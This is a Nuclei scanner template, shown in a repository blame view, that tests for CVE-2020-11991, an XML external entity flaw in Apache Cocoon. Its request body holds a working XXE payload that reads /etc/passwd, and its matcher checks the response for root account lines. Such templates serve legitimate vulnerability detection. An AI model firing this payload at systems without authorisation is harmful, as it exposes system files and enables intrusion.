nuclei-templates/cves/2020/CVE-2020-11991.yaml

33 lines
693 B
YAML
Raw Normal View History

2021-02-13 07:17:02 +00:00
id: CVE-2020-11991
info:
name: Apache Cocoon 2.1.12 XML Injection
author: pikpikcu
severity: high
reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11991
requests:
- method: POST
path:
- "{{BaseURL}}/v2/api/product/manger/getInfo"
headers:
2021-02-13 08:02:07 +00:00
Content-type: "text/xml"
2021-02-13 07:17:02 +00:00
body: |
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<userInfo>
2021-02-13 08:02:07 +00:00
<firstName>John</firstName>
2021-02-13 07:17:02 +00:00
<lastName>&ent;</lastName>
</userInfo>
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
2021-02-13 07:49:37 +00:00
2021-02-13 07:17:02 +00:00
- type: status
status:
- 200